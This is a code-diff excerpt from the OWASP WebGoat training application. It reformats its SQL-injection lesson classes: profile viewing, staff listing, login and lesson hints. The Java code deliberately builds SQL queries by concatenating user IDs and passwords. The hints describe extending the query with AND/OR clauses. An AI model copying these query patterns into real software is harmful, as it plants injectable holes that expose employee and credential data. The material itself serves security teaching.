int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
+ RoleBasedAccessControl.USER_ID); int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
if (RoleBasedAccessControl.STAGE3.equals(getStage(s)) if (RoleBasedAccessControl.STAGE3.equals(getStage(s)) && !isAuthorizedForEmployee(s, userId, employeeId))
&& !isAuthorizedForEmployee(s, userId, employeeId))
{ {
setStageComplete(s, RoleBasedAccessControl.STAGE3); setStageComplete(s, RoleBasedAccessControl.STAGE3);
} }
} catch (ParameterNotFoundException e)
{
} }
catch (ParameterNotFoundException e)
{}
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return RoleBasedAccessControl.VIEWPROFILE_ACTION; return RoleBasedAccessControl.VIEWPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
+ subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
@ -168,9 +142,7 @@ public class ViewProfile extends DefaultLessonAction
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{ {
// Query the database to determine if the given employee is owned by the given user // Query the database to determine if the given employee is owned by the given user
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
@ -180,46 +152,34 @@ public class ViewProfile extends DefaultLessonAction
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
+ subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();

83
main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/ListStaff.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.SQLInjection; package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.EmployeeStub; import org.owasp.webgoat.session.EmployeeStub;
@ -14,32 +14,31 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -51,34 +50,28 @@ public class ListStaff extends DefaultLessonAction
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException
UnauthenticatedException, UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
+ SQLInjection.USER_ID);
List employees = getAllEmployees(s, userId); List employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
+ SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return SQLInjection.LISTSTAFF_ACTION; return SQLInjection.LISTSTAFF_ACTION;
} }
public List getAllEmployees(WebSession s, int userId) throws UnauthorizedException
public List getAllEmployees(WebSession s, int userId)
throws UnauthorizedException
{ {
// Query the database for all employees "owned" by the given employee // Query the database for all employees "owned" by the given employee
@ -87,14 +80,12 @@ public class ListStaff extends DefaultLessonAction
try try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
+ userId + ")";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
@ -104,18 +95,15 @@ public class ListStaff extends DefaultLessonAction
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
// System.out.println("Retrieving employee stub for role " + role); // System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
lastName, role);
employees.add(stub); employees.add(stub);
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();
@ -124,9 +112,7 @@ public class ListStaff extends DefaultLessonAction
return employees; return employees;
} }
public List getAllEmployees_BACKUP(WebSession s, int userId) throws UnauthorizedException
public List getAllEmployees_BACKUP(WebSession s, int userId)
throws UnauthorizedException
{ {
// Query the database for all employees "owned" by the given employee // Query the database for all employees "owned" by the given employee
@ -135,14 +121,12 @@ public class ListStaff extends DefaultLessonAction
try try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
+ userId + ")";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
@ -152,18 +136,15 @@ public class ListStaff extends DefaultLessonAction
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
// System.out.println("Retrieving employee stub for role " + role); // System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
lastName, role);
employees.add(stub); employees.add(stub);
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();

135
main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/Login.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.SQLInjection; package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -16,32 +16,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -50,32 +49,25 @@ public class Login extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{ {
// System.out.println("Login.handleRequest()"); // System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s); List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
+ SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null; String employeeId = null;
try try
{ {
employeeId = s.getParser().getStringParameter( employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID);
SQLInjection.EMPLOYEE_ID); String password = s.getParser().getRawParameter(SQLInjection.PASSWORD);
String password = s.getParser().getRawParameter(
SQLInjection.PASSWORD);
// Attempt authentication // Attempt authentication
boolean authenticated = login(s, employeeId, password); boolean authenticated = login(s, employeeId, password);
@ -88,13 +80,11 @@ public class Login extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -103,34 +93,28 @@ public class Login extends DefaultLessonAction
else else
s.setMessage("Login failed"); s.setMessage("Login failed");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// No credentials offered, so we log them out // No credentials offered, so we log them out
setSessionAttribute(s, getLessonName() + ".isAuthenticated", setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
Boolean.FALSE);
} }
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String nextPage = SQLInjection.LOGIN_ACTION; String nextPage = SQLInjection.LOGIN_ACTION;
if (isAuthenticated(s)) if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
nextPage = chainedAction.getNextPage(s);
return nextPage; return nextPage;
} }
public boolean requiresAuthentication() public boolean requiresAuthentication()
{ {
return false; return false;
} }
public boolean login(WebSession s, String userId, String password) public boolean login(WebSession s, String userId, String password)
{ {
// System.out.println("Logging in to lesson"); // System.out.println("Logging in to lesson");
@ -138,31 +122,25 @@ public class Login extends DefaultLessonAction
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + userId String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
+ " and password = '" + password + "'";
// System.out.println("Query:" + query); // System.out.println("Query:" + query);
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first()) if (answer_results.first())
{ {
setSessionAttribute(s, setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
getLessonName() + ".isAuthenticated", Boolean.TRUE); setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID, userId);
authenticated = true; authenticated = true;
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
e.printStackTrace(); e.printStackTrace();
@ -172,7 +150,6 @@ public class Login extends DefaultLessonAction
return authenticated; return authenticated;
} }
public boolean login_BACKUP(WebSession s, String userId, String password) public boolean login_BACKUP(WebSession s, String userId, String password)
{ {
// System.out.println("Logging in to lesson"); // System.out.println("Logging in to lesson");
@ -180,32 +157,26 @@ public class Login extends DefaultLessonAction
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + userId String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
+ " and password = '" + password + "'";
// System.out.println("Query:" + query); // System.out.println("Query:" + query);
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first()) if (answer_results.first())
{ {
setSessionAttribute(s, setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
getLessonName() + ".isAuthenticated", Boolean.TRUE); setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID, userId);
authenticated = true; authenticated = true;
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
e.printStackTrace(); e.printStackTrace();
@ -215,7 +186,6 @@ public class Login extends DefaultLessonAction
return authenticated; return authenticated;
} }
public List getAllEmployees(WebSession s) public List getAllEmployees(WebSession s)
{ {
List<EmployeeStub> employees = new Vector<EmployeeStub>(); List<EmployeeStub> employees = new Vector<EmployeeStub>();
@ -231,8 +201,7 @@ public class Login extends DefaultLessonAction
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
@ -241,18 +210,15 @@ public class Login extends DefaultLessonAction
String firstName = answer_results.getString("first_name"); String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName, EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
lastName, role);
employees.add(stub); employees.add(stub);
} }
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();
@ -261,20 +227,16 @@ public class Login extends DefaultLessonAction
return employees; return employees;
} }
private void updateLessonStatus(WebSession s) private void updateLessonStatus(WebSession s)
{ {
try try
{ {
String employeeId = s.getParser().getStringParameter( String employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID);
SQLInjection.EMPLOYEE_ID); String password = s.getParser().getRawParameter(SQLInjection.PASSWORD);
String password = s.getParser().getRawParameter(
SQLInjection.PASSWORD);
String stage = getStage(s); String stage = getStage(s);
if (SQLInjection.STAGE1.equals(stage)) if (SQLInjection.STAGE1.equals(stage))
{ {
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && isAuthenticated(s))
&& isAuthenticated(s))
{ {
setStageComplete(s, SQLInjection.STAGE1); setStageComplete(s, SQLInjection.STAGE1);
} }
@ -282,16 +244,15 @@ public class Login extends DefaultLessonAction
else if (SQLInjection.STAGE2.equals(stage)) else if (SQLInjection.STAGE2.equals(stage))
{ {
// This assumes the student hasn't modified login_BACKUP(). // This assumes the student hasn't modified login_BACKUP().
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && !isAuthenticated(s)
&& !isAuthenticated(s)
&& login_BACKUP(s, employeeId, password)) && login_BACKUP(s, employeeId, password))
{ {
setStageComplete(s, SQLInjection.STAGE2); setStageComplete(s, SQLInjection.STAGE2);
} }
} }
} catch (ParameterNotFoundException pnfe)
{
} }
catch (ParameterNotFoundException pnfe)
{}
} }
} }

96
main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.SQLInjection; package org.owasp.webgoat.lessons.SQLInjection;
import java.util.ArrayList; import java.util.ArrayList;
@ -18,32 +19,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -72,16 +72,11 @@ public class SQLInjection extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(LISTSTAFF_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
getAction(LOGIN_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
} }
/** /**
@ -102,18 +97,14 @@ public class SQLInjection extends GoatHillsFinancial
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command."); hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM employee WHERE userid = \" + userId + \" and password = \" + password"); + "\"SELECT * FROM employee WHERE userid = \" + userId + \" and password = \" + password");
hints hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
